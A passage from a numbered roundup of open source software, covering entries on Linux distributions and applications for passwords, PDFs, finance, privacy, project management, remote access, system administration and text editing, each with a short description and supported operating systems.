Developed in Cambodia (English is supported), MoonOS is based on Ubuntu, but has a different file hierarchy system and appshell framework. It's designed for speed, great looks and low memory use
719. Musix GNU+Linux
As its name implies, Musix is geared for multi-media enthusiasts, particularly those involved in audio editing. It can boot from a live disk or be installed on a system
720. openSUSE.
This is the free version of Novell's SUSE. It comes in both desktop and server versions, and you can find a great deal of documentation and support online
721. PCLinuxOS
Designed to be easy to use, PCLinuxOS can be run on a Live CD or installed on a desktop or laptop. It supports seven different desktops, including KDE, Gnome, Enlightenment, XFCE, LXDE, and others
722. Peppermint
A good choice for netbooks or older PCs, Peppermint is designed to work with cloud and Web apps. The name might make you think it's based on Mint, but it's not. It's actually based on Lubuntu, which of course, is based on Ubuntu
723. Pinguy OS
Built for new Linux users who need something that's even easier to use than Ubuntu, Pinguy OS makes it easy to find and use the programs average users need most often. It's also available in a DVD version for $5.99
724. Puppy Linux
Small and fast, Puppy is designed to be installed on a USB thumb drive that users can take with them and boot from any PC. It takes up about 100 MB, boots in less than a minute, and runs from RAM for maximum speed
725. quantOS
This variation of Linux Mint has been hardened for greater security. It includes integration with the Tor network and leverages several other security- and privacy-related open source projects.
726. Red Hat Enterprise Linux
The Red Hat company calls itself "the world's open source leader," and its server version of Linux is a particular favorite with enterprises. It's available only with a paid subscription, but does have a community version--Fedora.
727. Sabayon
Named after an Italian dessert, Sabayon aims to be the "cutest" Linux distribution — "as easy as an abacus, as fast as a Segway." It's based on Gentoo, and it supports the KDE, Gnome, LXDE and Xfce desktop environments
728. Salix OS
Salix compares itself to a bonsai tree in that it is "small, light and the product of infinite care." It comes in four different versions for the Xfce, LXDE, Fluxbox and KDE desktop environments
729. Scientific Linux
Created by the folks at the Fermi National Accelerator Laboratory and the European Organization for Nuclear Research (CERN), as well as various scientists and universities, Scientific Linux (SL) aims to prevent scientists at each of these different institutions from having to recreate a Linux distribution that meets their needs. It's basically the same as Red Hat Enterprise Linux with a few slight modifications
730. Slackware
First released in 1993, Slackware is one of the oldest Linux distributions. Popular with the geekiest of geeks, it relies heavily on command-line tools and is very similar to UNIX
731. SUSE
Novell's version of Linux for enterprises is available only with a paid subscription (although you can download the very similar openSUSE for free). It claims to be "the most interoperable platform for mission-critical computing–across physical, virtual and cloud environments."
732. Tiny Core Linux
One of the smallest Linux distros available, Tiny Core weighs in at just 10MB in its GUI version. The command line version, Micro Core, is even smaller – just 6MB
733.Ubuntu
Canonical's Ubuntu has become one of the most popular Linux distributions. It's very easy for Linux newbies to learn, and it comes in desktop, server and cloud versions
734. Unity
Instead of being built for end users, Unity is built to give developers or advanced Linux users some modular pieces they can use to create a customized distribution. Despite its name, it has nothing to do with the Unity desktop used by Ubuntu; instead, the Unity OS uses the OpenBox graphical environment
735. Vector Linux
VectorLinux's credo is "keep it simple, keep it small and let the end user decide what their operating system is going to be." In addition to the free download, it's also available in a supported "deluxe" edition
736. Xubuntu
And this is the version of Ubuntu that uses the Xfce desktop environment. It's available in both desktop and server versions
737. Ylmf OS
Like Zorin, Ylmf's interface looks a lot like Windows, in this case the Windows XP classic look. Created by Chinese developers, it's available in either Chinese or English, and it's based on Ubuntu
738. ZenWalk
Originally based on Slackware and called "Minislack," ZenWalk has evolved to become a modern, fast, lightweight distribution that's easy to use. It's available in five versions: standard, core, live, Gnome and Openbox
739. Zorin OS
Unlike most Linux distributions, Zorin was designed to look and feel as much like Windows as possible – only faster and without as many bugs. It's available in both free and paid verions

Open Source Apps: Organization Management

740. ATHENA
Designed for cultural and arts organizations, ATHENA offers business management software with modules for ticket sales, accounting, donor and sponsor information, fundraising and marketing and more. The same software is available online with a subscription through Artful.ly. Operating System: Linux

Open Source Apps: Password Crackers

741. Ophcrack
For those occasions when passwords can't be recovered any other way, Ophcrack can help systems administrators figure out lost passwords. It uses the rainbow tables method to crack passwords, and it can run directly from a CD. Operating System: Windows
742. Figaro's Password Manager
This Linux-only password safe encrypts passwords with the blowfish algorithm. It also features a password generator and can act as a bookmark manager as well. Operating System: Linux
744. KeePass
Using the same password all the time is dangerous, but remembering multiple passwords can be difficult. KeePass offers a solution—an encrypted database that stores all of your passwords. All you have to remember is one master password. Operating System: Windows
745. KeePassDroid, 7Pas, iKeePass, KeePass for BlackBerry
The open source password safe KeePass has been ported to all of the major mobile operating systems. It saves all of your passwords in an encrypted database so that you only have to remember one master password. Operating System: Android, iOS, Windows Phone 7, BlackBerry
746. KeePassX
Originally, this project ported KeePass so that it could be used with Linux. Now, it supports multiple operating systems and adds a few features not in the original KeePass. Operating System: Windows, Linux, OS X
747. PasswordMaker
Instead of re-using the same password over and over, use PasswordMaker to generate completely secure passwords using a one-way hash algorithm. All you need to remember is the name of the site you're visiting and your master password. Operating System: Windows, Linux, OS X
748. Password Safe
With a very simple interface, Password Safe offers a bare-bones password management system. It also offers the option of storing different sets of passwords—for example, your work and home passwords—in different databases with different master passwords. Operating System: Windows
749. PWGen
If your password is easy to remember, it's probably also easy to guess. This app randomly generates strong passwords for better protection. (But because these passwords are hard to remember, it's best to use PWGen with a password safe.) Operating System: Windows
750. Secrets for Android
Like KeePass, Secrets saves your passwords in a master database. However, this app also gives you the option of saving other secret information in the same secure database so that it can't be accessed if your phone is lost or stolen. Operating System: Android
751. WebKeePass
Have your own Web server? This version of KeePass lets multiple users access a KeePass database from any Web-connected system. It's ideal for small businesses. Operating System: OS Independent

Open Source Apps: PDF Tools

752. jPDF Tweak
This Java-based program lets you merge, split, reorder, sign, and encrypt previously existing PDF files. Operating System: OS Independent
753.PDFCreator
This helpful app lets you create a PDF file from virtually any Windows program. It also creates PNG, JPG, TIFF, BMP, PCX, PS and EPS files as well. Operating System: Windows
754. PDFedit
You don't have to purchase expensive Adobe software in order to make modifications to existing PDF files. PDFedit lets you edit text, delete and renumber pages, add markup and more. Operating System: Windows, Linux
755. Skim
If you need to read a lot of pdf files, for example technical or scientific papers, Skim makes it easier to read and take notes digitally instead of printing out pages and making notes by hand. You can also use it to give presentations using a pdf file instead of a traditional presentation program. Operating System: OS X
756. Sumatra
This alternative to Adobe Reader boots up fast and offers a very simple interface. In addition to PDF files, it also reads XPS, DjVu, CBZ and CBR files. Operating System: Windows

Open Source Apps: Personal Financial Management

757. Buddi
Calling itself “personal budget software for the rest of us,” Buddi offers very simple installation and operation for users with little financial background. It's won multiple awards, but does not offer the same type of advanced features as Quicken. Operating System: OS Independent
758. Chartsy
This stock charting and screening platform features a modular architecture that lets you install only the capabilities you need. The project owners plan to add trading capabilities in the future, but they aren't operational yet. Operating System: Windows, Linux, OS X
759. Grisbi
While it doesn't offer double-entry accounting, Grisbi offers some business accounting features in addition to all the features you would expect in a personal finance manager. It's available in multiple languages and can handle multiple currencies, Operating System: Windows, Linux
760. HomeBank
Under development since 1995, HomeBank offers an intuitive interface and easy-to-use reporting capabilities. Like many of the other apps on our list, it can import financial data from other sources, autocompletes entries whenever possible and provides budgeting capabilities. Operating System: Linux
761. iFreeBudget
This budgeting, accounting and expense tracking app also comes in an Android version. Its best for small businesses or home users. Operating System: Windows, Linux, Android
762. JGnash
Java-based JGnash supports double-entry or single-entry bookkeeping, account reconciliation, PDF report generation, multiple currencies, check printing and more. It can also import data from commercial financial software or online banking systems. Operating System: Windows, Linux, OS X
763. JStock
For active investors, this app offers a stock watchlist, portfolio management, alerts, filters, charts, chat and more. It can track 26 stock markets around the world, and it can save your data in the cloud if you like. Operating System: Windows, Linux, OS X
764. KMyMoney
KDE's personal finance software is particularly user-friendly, with an interface that's easy for anyone who's used Quicken or similar software to understand. Previous versions of the software only worked on Linux, but the latest version also supports Windows (though it isn't completely stable). Operating System: Windows, Linux, OS X
765. LightWallet
If you have trouble remembering to save receipts or enter transactions in your budgeting software, LightWallet is for you. This Java-based personal finance package installs on your mobile phone, so you can enter transactions while you're on the go instead of having to remember what you bought when you get back home. Operating System: OS Independent
766. Market Analysis System
Ready to get really serious about investing? This app tracks a huge number of metrics and analyzes market data, flagging you when certain criteria are met. You can run it on a single PC or in a client/server setup. Operating System: Windows, Linux
767. Money Manager Ex
This app claims to offer "all the basic features that 90% of users would want to see in a personal finance application." Notable features include AES encryption, the ability to run from a thumb drive without an install, depreciation tracking, international support and import from CSV and Quicken file formats. Operating System: Windows, Linux, OS X
768. StockManiac
Manage your own investments? StockManiac incorporates a feed reader/comment system with a stock tracker so that you can track your thoughts about your stocks while you track your stocks. It's not suitable for day trading, but works well for average personal investors. Operating System: OS Independent
769. UnkleBill
This newer financial software offers double-entry accounting to track your personal or small business accounts. It offers multiuser functionality and creates PDF reports. Operating System: Windows, Linux, OS X
770. Yapbam
Java-based Yapbam (short for "yet another bank account manager") is cross-platform, portable and extensible. It can import data from other software and online banking, automatically generates reports and includes a currency converter. Operating System: Windows, Linux, OS X

Open Source Apps: Photography Tools

771. Coppermine Photo Gallery
Based on PHP and MySQL, Coppermine Web photo gallery script offers a huge lineup of features including multiple languages, e-card creation, thumbnails, and many more. In order to use it, you need a Web server running Apache, PHP, MySQL, and either GD or ImageMagick. Operating System: OS Independent
772. Gallery
This Web-based photo album organizer makes it easy to organize and share your digital photos. To use it, you'll need your own Web server, or the site recommends a number of hosts that are confirmed to be compatible with Gallery. Operating System: Windows, Linux
773. Hugin
Sometimes a single photo can’t capture the grandeur of a particular scene—that’s where Hugin comes in. Hugin makes it easy to combine multiple, overlapping photos of a single location into one huge panorama. Operating System: Windows, Linux, Unix, OS X

Open Source Apps: Physics

774. Step
KDE's physics program provides demonstrations of classical mechanics, particles, springs with dumping, gravitational and coulomb forces, rigid bodies, molecular dynamics and more. It can also do unit conversion and error calculation and propagation. (Note that in order to use Step on Windows, you'll have to download KDE for Windows.) Operating System: Windows, Linux

Open Source Apps: Point-of-Sale (POS)

775. Floreant POS
Used by the Denny's chain in New York, this restaurant-specific POS application offers a full set of capabilities to support fine dining, carry out, tax, discounts, food grouping, drawer pull, kitchen ticket, ESC/POS receipt, combined payment system and sales reports. Tow levels of commercial support are available, with prices varying based on response time and availability. Operating System: OS Independent
776. Lemon POS
Designed for small or micro businesses, Lemon POS offers an easy-to-use interface, a price checker, search capabilities, and more. It can run multiple terminals from a single server and it includes role-based permissions and other security features. Operating System: Linux
777. Openbravo POS
Openbravo's POS offering integrates with its ERP software. It's designed to work with touchscreens and includes master data management, warehouse management, reporting and restaurant management capabilities. Operating System: Windows, Linux, OS X
778. POSper
This app was designed for small retail stores and restaurants. It supports multiple touchscreens, scanners, card readers and ticket printers, and it integrates with all databases supported by Hibernate. Operating System: OS Independent
779. SymmetricDS
SymmetricDS is a data synchronization and replication tool designed to transmit data from POS databases to back office systems. Key features include guaranteed delivery, data filtering and rerouting, primary key updates, database versioning, and more. Operating System: OS Independent.

Open Source Apps: Portable Applications

780. Democrakey
For privacy on the go, Democrakey bundles together apps for anonymous browsing, anonymous e-mail and IM, encryption, file shredding and anti-virus into a suite that runs from a thumb drive. You can also purchase a USB drive with Democrakey installed from Democrakey.com. Operating System: Windows
781. PortableApps.com
You don't have to be on your own PC to use your favorite open-source software—PortableApps.com packages many of the most popular apps so that you can take them with you on a thumb drive. The standard suite includes Firefox, OpenOffice.org, Pidgin and nine other apps, but dozens of other portable open source apps are also available on the site. Operating System: Windows
782. Tor Browser Bundle
The Tor project also makes a portable suite that you can take with you on a thumb drive. You can also download an IM version. Operating System: Windows, Linux, OS X.
783. winPenPack
While its not as well-known as PortableApps.com, winPenPack also offers dozens of open source apps in portable versions. You can download the apps individually or you can get the Full or the Essential suite. Operating System: Windows.

Open Source Apps: Presentations

784. Impressive
If you want to make your presentations more, well, impressive, give this app a try. It takes presentations you create with PowerPoint or other apps and lets you add more interesting transitions, use a handy overview screen, and spotlight or highlight text on the screen as you give your talk. Operating System: OS Independent.

Open Source Apps: Privacy Protection

785. AdBlock Plus
Used by more than 12.5 million Firefox users, AdBlock Plus can be configured to block all advertisements or only those originating from domains known to install malware. To use it, you'll also need to subscribe to one of the filters that provide the type of blocking you desire. Operating System: Windows, Linux, OS X
786. BetterPrivacy
Even when you have your cookies disabled, Flash-enabled sites like YouTube, E-Bay and others can use Flash cookies (also called "SuperCookies") to track your activities. BetterPrivacy automatically disables those cookies. Operating System: Windows, Linux, OS X
787. HTTPS Everywhere
Many websites have the ability to encrypt traffic via HTTPS, but don't turn on that feature by default. This Firefox add-on, a collaboration between the Tor Project and the Electronic Frontier Foundation, rewrites requests so that you will automatically use HTTPS whenever it is available. Operating System: OS Independent
788. JAP
Like Tor, JAP hides your IP address while you're browsing online. However, because it is a research project, the service occasionally experiences outages and downtime. Operating System: OS Independent
789. Mixmaster
Available in both client and server versions, Mixmaster is a remailer that protects you from traffic analysis. With it, you can send e-mail anonymously or under a pseudonym. Operating System: Windows, Linux
790. Mixminion
Another anonymous remailer, Mixminion passes e-mail through a network of servers that mixes them up and encrypts them in order to protect privacy. It hasn't been updated in a while, but a stable version is available. Operating System: Windows, Unix, OS X
791.Privacy Dashboard
This Firefox add-on from W3C (the World Wide Web Consortium) alerts you to the data being collected by the various websites you visit. Users also have the option of contributing to a project that is tracking how websites are doing at protecting users' privacy. Operating System: OS Independent
792. Privoxy
This non-caching Web proxy server offers advanced filtering capabilities for removing ads and protecting your privacy. You can use it to protect an individual PC or an entire network. Operating System: Windows, Linux, OS X.
793. ReclaimPrivacy.org
This site scans your Facebook settings and alerts you to data which you may have unintentionally made public. It's still a good idea to check your privacy settings manually, but this tool gives you a good second check to make sure you haven't divulged personal information that you didn't want to make public. Operating System: OS Independent
794. SafeCache
This Firefox add-on helps prevent websites from accessing your browsing history. It works with your cookie settings to apply your desired level of privacy. Operating System: Windows, Linux, OS X
795. Torbutton
This Firefox add-on makes it easy to turn Tor (see above) on or off for anonymous browsing. Note that when you are using it, you will not be able to access sites that use JavaScript, some CSS features, or Flash. Operating System: OS Independent
796. Web of Trust (WOT)
Downloaded more than 23.5 million times, Web of Trust rates websites based on their reputation. While you're browsing, sites with a good reputation will show up with a green circle, bad sites get a red circle, and those in between will look more orange or yellow. Operating System: Windows, Linux, OS X

Open Source Apps: Programming Languages

797. Go
Recently developed by Google, Go aims to make developers more productive by providing them with a clean, simple programming language. And unlike many older languages, it offers garbage collection and parallel computation. Operating System: Linux, OS X
798. Java
Originally developed by Sun but now owned by Oracle, Java allows developers to write code that will run on multiple operating systems. According to Tiobe, it's the most popular programming language in the world. The link above offers extensive help for those new to the language and a large collection of tools for Java developers. Operating System: Windows, Linux, OS X
799. Perl
Perl has been around for 22 years and runs on more than 100 different platforms. It's an ideal Web programming language and integrates easily with popular databases. Operating System: Windows, Linux, OS X
800. PHP
This general purpose scripting language is particularly suited to Web development, enabling developers to write dynamically generated pages quickly. A lot of its syntax comes from C, Java and Perl, and it can be embedded into HTML. Operating System: Windows, Linux, OS X
801. Python
Python's strengths are its speed, flexibility and readable syntax. It's often used in Web development but can be used for other types of applications as well. Operating System: Windows, Linux, OS X
802. R
R is both a programming language and an environment for developing statistics and graphics applications. It's very similar to the commercially developed S language. Operating System: Windows, Linux, OS X
803. Ruby
Designed to feel "natural," Ruby's creator Yukihiro “matz” Matsumoto blended parts of Perl, Smalltalk, Eiffel, Ada, and Lisp to create a new language that's been called both "handy" and "beautiful." It's ranked as the tenth most popular programming language in the world, due in no small part to the popularity of the Ruby on Rails framework. Operating System: Windows, Linux, OS X

Open Source Apps: Project Management

804. Achievo
Designed for medium-sized organizations, Acheivo combines calendar, contacts, project management, time tracking and basic CRM and human resources management capabilities. It's Web-based, and the site offers a demo so that you can try it out before you download. Operating System: OS Independent.
805. Digaboard
For Agile, Scrum or Kanban development teams, Digaboard is a digital version of your project whiteboard. Unlike a traditional white board, it saves everything you've done and you can access it from the Web, making it a good choice for geographically dispersed teams. Operating System: OS Independent.
806. Dotproject
This Web-based app offers an e-mail based trouble ticket system, client/company management, project listings, hierarchical task list, file repository, contact list, calendar, discussion forum and resource-based permissions. To see it in action, check out the demo on the site. Operating System: Windows, Linux.
807. GanttProject
Like OpenProj, GanttProject can also import and export from Project. As you would expect from the name, it creates Gantt charts, and it also creates PERT charts, generates reports and exports data to spreadsheet formats. Operating System: Windows, Linux, OS X.
808. NavalPlan
As the name suggests, this Web-based project management system was originally created for the ship building industry, but its features make it useful for just about any industry. It helps organizations schedule resources, control costs, organize tasks and monitor progress, and it connects with many ERP systems. Operating System: Linux.
809. Ofuz
This cloud-based invoicing, project management and CRM solution was designed to help freelancers and small businesses manage their client interactions. You can run it on your own server for free or use the SaaS version called Ofuz Online. Operating System: OS Independent
810. One point
Onepoint aims to combine a powerful set of features with an easy-to-use interface. It's available in a variety of editions: Basic and open editions are available with a free, open source license. Professional, master, group, and enterprise editions require a paid, commercial license. Operating System: Windows, Linux, OS X
811. OpenProj
Downloaded more than 1.25 million times, OpenProj was specifically designed to replace Microsoft Project, and it opens both Project and Primavera files. Key features include Gantt charts, network diagrams (PERT charts), WBS and RBS charts, earned value costing and more. Operating System: Windows, Linux, OS X.
812. openXprocess The app offers addresses the needs of process engineers, project managers and project participants. It imports from Microsoft Project and includes a number of features designed to meet the needs of Agile and Scrum teams. Operating System: Windows, Linux.
813. PHPProjekt
PHPProjekt combines project management with a time tracker and some groupware functions, like a calendar, to do list and contact manager. It's Web-based, and the site provides a helpful demo so that you can see the features in action. Operating System: OS Independent.
814. Plandora
Plandora meets the needs of a variety of kinds of teams with Gantt charts, a Balanced Scorecard view and an Agile development board. In addition, the latest release includes cost management, artifact management and new gadgets. Operating System: OS Independent.
815. Redmine
Web-based Redmine offers Gantt charts, calendar, per-project wikis, an issue tracker, newsfeeds and more. It also integrates with most version control systems, making it a good choice for development teams. Operating System: OS Independent.
816. TaskJuggler
TaskJuggler calls itself "project managers' delight" and includes tools for project scoping, resource assignment, cost and revenue planning, and risk and communication management. It's designed for "serious project managers" and takes some effort to learn. Operating System: Windows, Linux, OS X.
817. web2Project
Offering "real project management for real business," this Web-based tool can manage multiple projects, companies, departments and users. Key features include a modular infrastructure, built-in security, role-based permissions, project- and group-wide Gantt charts, and group calendar. Operating System: OS Independent.
818. XPlanner+
Designed for development teams, this Java-based app includes project management, bug tracking and time tracking capabilities. It supports Agile methodologies and it can export to multiple formats, including Microsoft Project. Operating System: OS Independent.

Open Source Apps: Project Portfolio Management

819. Onepoint Project
Onepoint combines project management with project portfolio management capabilities, including supporting formal, Agile and JIRA projects within a single solution. The Basic and Community editions are available with a GPL license, while the supported editions for enterprise users have a proprietary license. Operating System: Windows, Linux, OS X.
820. Project.Net
The first open source solution to be included in Gartner's "Magic Quadrant for IT Project and Portfolio Management Applications," Project.Net is a robust, but affordable alternative to commercial PPM software. It integrates with many BI systems, includes advanced social networking features and commercial support and services are available. Operating System: OS Independent

Open Source Apps: Property Management

821. SpaceBooker
If you're running a hotel, car rental company or a craft fair, SpaceBooker can help you keep track of reservations. It works both on- and offline, and it gives you a number of different views, including a graphical map, so that you can see what's reserved and what's available for various dates. Operating System: Windows.

Open Source Apps: Religion

822. BibleTime
This Bible study tool includes text from more than 200 free Bible texts and commentaries available through the Crosswire Bible Society. The interface is easy to use and it includes a helpful search capability. Operating System: Windows, Linux, OS X
823. Gnaural
It already does everything else--now your computer can help you meditate. Using something called the “binaural beat principle,” Gnaural generates audio tones designed to get you in the right frame of mind for relaxation. Operating System: Windows, Linux, OS X
824. Noor
Noor doesn’t offer a lot of bells and whistles, but it does let you access the text of the Quran from your PC. It includes both the original Arabic and translations. Operating System: OS Independent
825. Xiphos
Like BibleTime, Xiphos offers access to hundreds of free Bible study tools. The tabbed interface makes it easy to cross-reference different texts, and Xiphos also allows you to create your own modules for journaling, prayer lists or writing your own commentary. Operating System: Windows, Linux
826. Zekr
Zekr provides a searchable version of the Qur'an in Arabic and 20 other languages. You can read it yourself or have Zekr read it aloud for you. Operating System: Windows, Linux, OS X

Open Source Apps: Remote Access/VPN

827. AndroidVNC
This TightVNC fork allows you to view and interact with your computer from your Android phone. Obviously, it's tough to do a lot of work from your phone, but it is useful for short and simple tasks. Operating System: Windows, Linux
828. BO2K
Based on Back Orifice, BO2K provides file-synchronization and remote operation capabilities for network administrators. Unlike most commercially available products, it's small, fast, free, and very extensible. Operating System: Linux
829. OpenSSH
Developed by the OpenBSD project, OpenSSH offers a set of SSH, SCP, and SFTP tools for secure remote access and file transfer. It encrypts all traffic, including passwords, to make hijacking nearly impossible. Operating System: Linux, Unix, BSD
830. OpenVPN
Downloaded more than 3 million times, this popular open source SSL VPN solution makes it possible for remote workers to access your corporate network securely. It's also available with commercial support or as a cloud-based solution. A number of other client front-ends are also available. Operating System: Windows, Linux, OS X
831. PuTTY
This basic telnet/SSH client offers remote access for most Windows and Unix systems. Note that it does not support Vista. Operating System: Windows, Unix
832. TightVNC
With TightVNC, employees can control their work computers while they are at home or traveling. It's lightweight and fast and conforms to RFB protocol specifications. Operating System: Windows, Linux
833. UltraVNC
UltraVNC provides similar functionality as TightVNC. Key features include file transfer, video driver, optional encryption plugins, text chat and multiple-monitor support. Operating System: Windows
834. Zebedee
While it's not a true VPN tool, Zebedee does provide secure IP tunneling for TCP/IP or UDP data transfer between two systems. It not only provides security against snoopers, its compression capabilities save on network bandwidth. Operating System: Windows, Linux, Unix

Open Source Apps: Report Authoring

835. WIKINDX
Designed to help researchers take notes and track bibliographic information, WIKINDX can be used by a single user or stored on a Web server for access by a team working together. It exports bibliographies in a variety of style guide formats, allows multiple attachments per resource and supports non-English characters. Operating System: OS Independent
836. Zotero
Zotero is a Firefox plug-in that makes it easy to track and cite your sources when doing research on the Web. It also includes a "Groups" feature that allows you to share your research with a team. Operating System: OS Independent

Open Source Apps: Robotics

837. The Player Project
More middle and high school are offering classes in robotics, and The Player Project provides some of the software that supports instruction in robotics. It includes Player, a network server for robot control; Stage, a 2D multiple robot simulator; and Gazebo, a 3D multiple robot simulator with dynamics for simulating outdoor environments. Operating System: Linux, Unix.
838. ROS
Short for "Robot Operating System," ROS offers a set of open-source libraries for controlling robots. It includes device drivers, libraries, hardware abstraction and other capabilities. Operating System: Linux, OS X

Open Source Apps: Router Software

839. Vyatta
Vyatta's software and appliances offer enterprises an alternative to expensive networking hardware from companies like Cisco. The core software is available as an open source download, or you can purchase hardware, supported software or services from Vyatta. Operating System: Linux
840. FREESCO
With FREESCO you can set up an Ethernet bridge or router, a dial-up or leased line router, or a http, dns, ftp, ssh, or print server. It also includes the standard Linux firewall and NAT to help protect your network. Operating system: Linux

Open Source Apps: RSS Readers

841. FeedReader
FeedReader offers robust news aggregation while keeping the interface basic enough for novices to use. Upgrades to the FeedReader Connect and FeedReader OEM products are available for a fee. Operating System: Windows
842. RSS Owl
One of the most popular feed readers available, RSS Owl aggregates headlines from all of your favorite media sites and makes them easy to browse. It has a ton of advanced features, like saved searches, news filters, labels, and news bins that set it apart from other similar apps. Operating System: Windows, Linux, OS X

Open Source Apps: School Administration

843. ClaSS
Class describes itself as "a student information management system turned on its head." It takes a more teacher-centric approach, making it easy for classroom instructors to input information and access data about their students. Operating System: OS Independent
844. Focus/SIS
This newer SIS is completely Web-based and designed to make it as easy as possible to comply with state reporting requirements. It also streamlines attendance taking, scheduling, grading, and other administrative tasks. Operating System: OS Independent
845. OpenAdmin
OpenAdmin's interface isn't particularly fancy, but it does provide a wide range of features for tracking grades, attendance, schedules, discipline, fees, IEPs and more. It was designed to meet the needs of both public and Catholic schools. Operating System: OS Independent
846. openSIS
This app includes all of the same features you would find in a much more expensive commercial SIS—demographics, contact information, scheduling, gradebook, reports, attendance, transcripts, health records, a parent portal, etc. The free community version is suitable for small or medium-sized schools with IT staff, and it's also available in commercially supported versions for individual schools and school districts. Operating System: Windows, Linux
847. SchoolTool
Canonical's Edubuntu and the One Laptop Per Child project both include SchoolTool as their school administration program. It offers an online gradebook, calendar, attendance, competency tracking, demographics and contacts. Operating System: Linux

Open Source Apps: Screenplay Writing

848. Celtx
If you have a great idea for a movie or a TV show, Celtx can help you format your screenplay properly, storyboard scenes and sequences, sketch setups, develop characters, breakdown and tag elements, schedule productions, and more. According to its owners, it’s "the world's first all-in-one media pre-production system." Operating System: Windows, Linux, OS X

Open Source Apps: SEO

849. SEO Panel
Released in 2010, this app describes itself as the "world's first seo control panel for multiple websites." Key features include an automatic directory submission tool, keyword position checker, site auditor, Google and Alexa rank checker and more. Operating System: OS Independent

Open Source Apps: Small Business Server

850. ClearOS
In addition to its networking and security gateway features, ClearOS acts as a groupware and mail server with support for Microsoft Outlook. The paid supported versions of the software and the pre-configured appliances from the Clear Foundation add other features useful for small businesses. Operating System: Linux.
851.Zentyal
This all-in-one platform combines a communications server with a security gateway, backup, network monitoring, infrastructure management, file server, Web server and more. In addition to the basic, free edition, it also comes in paid professional and enterprise versions, with other add-ons available as well. Operating System: Linux

Open Source Apps: Smoking Cessation

852. QuitCount
Need some motivation to help you stop smoking? Quit Count adds up how much money you've saved and how much time you've added to your life expectancy. Operating System: Linux
853. No Smoke Counter
Like QuitCount, the No Smoke Counter tracks your money saved by not smoking. However, this version is designed for your smartphone, so you can take it along with you. Operating System: OS Independent

Open Source Apps: SOA

854. Turmeric
Version 1.0 of this eBay-owned SOA platform was released in May of 2011. It's Java-based, standards-based and offers quality-of-service features, monitoring capabilities, a repository library, a type library, an error library, local binding and more. Operating System: OS Independent

Open Source Apps: Social Networking

855. BuddyPress
Made by the WordPress team, BuddyPress offers "social networking in a box." Its used by thousands of organizations to create social networks for a variety of different groups. Operating System: OS Independent
856. Diaspora
Launched as an alternative to Facebook, this open source social network has a long way to go to catch Facebook's user base. It offers greater control over your privacy and content. You can sign up to join a current Diaspora hub or create your own Diaspora server using the information from the site. Operating System: Windows, Linux
857. LiveStreet CMS
Similar to BuddyPress, LiveStreet is a content management system for creating blogs or social networks. It boasts easy installation, extensibility and multilingual functionality. Operating System: Linux
858. Pligg CMS
Pligg describes itself as "social publishing" software; that is, it creates websites that invite users to submit their own content and/or vote on current content. Hosting is available through several third-party partners. Operating System: Windows, Linux
859. Storyltr
Storyltr brings together all of your Web 2.0 posts from up to 18 different services, including Twitter, Flickr, StumbleUpon, Tumblr and others. It lets you tell the story of your life in your own way. Operating System: OS Independent

Open Source Apps: Speech

860. eSpeak
Although not as human-sounding as some other text readers, eSpeak provides clear audio of the text on your screen. It supports dozens of different languages, as well as several different English accents. Operating System: Windows, Linux, OS X
861. Simon
If you'd like to be able to talk to your computer, check out Simon. It accepts voice commands and turns audio into text. Operating System: Windows, Linux

Open Source Apps: Storage

862. FreeNAS
Based on BSD, this app allows you to create network attached storage for sharing files across Windows, OS X, Linux and Unix-like systems. Key features include a Web-based interface, the Zettabyte File System, snapshots, thin provisioning and more. Operating System: FreeBSD
863. Openfiler
Downloaded more than 250,000 times, Openfiler offers both file-based Network Attached Storage and block-based Storage Area Networking. Key features include volume-based partitioning, iSCSI (target and initiator), scheduled snapshots, resource quota, and a unified interface for share management. Operating System: Linux

Open Source Apps: Systems Administration Tools

865. Inside Security Rescue Toolkit
Also known as INSERT, the Inside Security Rescue Toolkit packs dozens of helpful security and system administration apps into a single download. In addition to a complete, bootable Linux system (based on Debian), you'll get apps for anti-virus protection, network analysis, forensics, and more. Operating System: Linux.
866. Networking Commands for Windows
If you’d rather perform network configuration and maintenance activities from the command line instead of a GUI, check out Networking Commands for Windows. This collection of command-line tools lets you use a small list of short, easy-to-remember commands to perform day-to-day systems administration activities. Operating System: Windows XP
867. No Autorun
Just like the name suggest, this app prevents any malware on a thumb drive from auto-running when you plug it into your system. It also logs suspicious files so you can see the malware it's blocked. Operating System: Windows.
868. ProShield
Designed primarily for Debian and Ubuntu, ProShield scans your system to make sure your software is up-to-date and that you haven't picked up any malware. It also reminds you to backup your system, checks your available disk space, and performs other routine maintenance checks. Operating System: Linux
869. Wake on Lan
This helpful little app makes it easy to turn on or shut down Windows systems connected to your network. It also includes a scheduling feature and can be run from the command line or a GUI. Operating System: Windows.
870. Webmin
This interface allows you to set up Unix user accounts, change passwords, and perform other system admin tasks from any Web browser. You can perform more than 100 different functions. Operating System: Unix

Open Source Apps: Text Editors

871. AkelPad
Designed to be small and fast, AkelPad offers basic text editing with numerous plug-ins that add other features. Standard features include multi-window mode, file preview, multi-level undo, and more
872. Emacs
Emacs-style text editors have been around since the mid-70s and are popular among programmers. The GNU version offers content-sensitive editing modes for HTML and other types of files. Operating System: Windows, Linux, OS X
873. jEdit
Java-based jEdit boasts auto indent and syntax highlighting for 130 programming languages. It has a huge list of features and more than 150 plug-ins that extend its capabilities. Operating System: OS Independent
874. Notepad++
This mature text editor offers fast performance and a lightweight file size. It's been downloaded more than 20 million times, has won numerous awards, and offers a number of features that make it an excellent option for developers. Operating System: Windows
875. TEA
TEA combines a small file size with hundreds of functions, including syntax highlighting for more than 20 languages. Other key capabilities include a spellchecker, code snippets, built-in ZIP packager, bookmarks, tabbed layout engine and more. Operating System: Windows, Linux, OS X
876. Vim
Sometimes considered an IDE, Vim is a "programmer's editor" with extensive syntax assistance, code completion, split screens, undo/redo, and many other features. It's won a number of awards, but does have a reputation for being difficult to learn. Operating System: Windows, Linux, OS X
877. Zile
Short for "Zile is Lossy Emacs," Zile is a small text editor that looks very similar to the popular Emacs editor. It packs many features into just 100KB, including multi-level undo, multi-window display, killing, yanking, register, and word wrap. Operating System: Linux/Unix

Open Source Apps: Time Tracking

878. eHour
eHour was designed for firms that work on multiple projects and bill by the hour. It's great for lawyers, consultants and freelancers of all kinds, and it offers a user-friendly, Web-based interface. Operating System: Windows, Linux, OS X
879. Rachota
While the other apps in this category are designed to track time for invoicing and payroll purposes, Rachota tracks your time so that you can see how you can become more efficient. You can take it with you on a mobile device and track work on multiple projects. Operating System: OS Independent
880. timeEdition
The minimalist interface on this app makes it very easy to track the amount of time workers spend on various tasks. It also integrates with iCal, Outlook and Google Calendar, and exports into spreadsheet formats. Operating System: Windows, Linux, OS X.
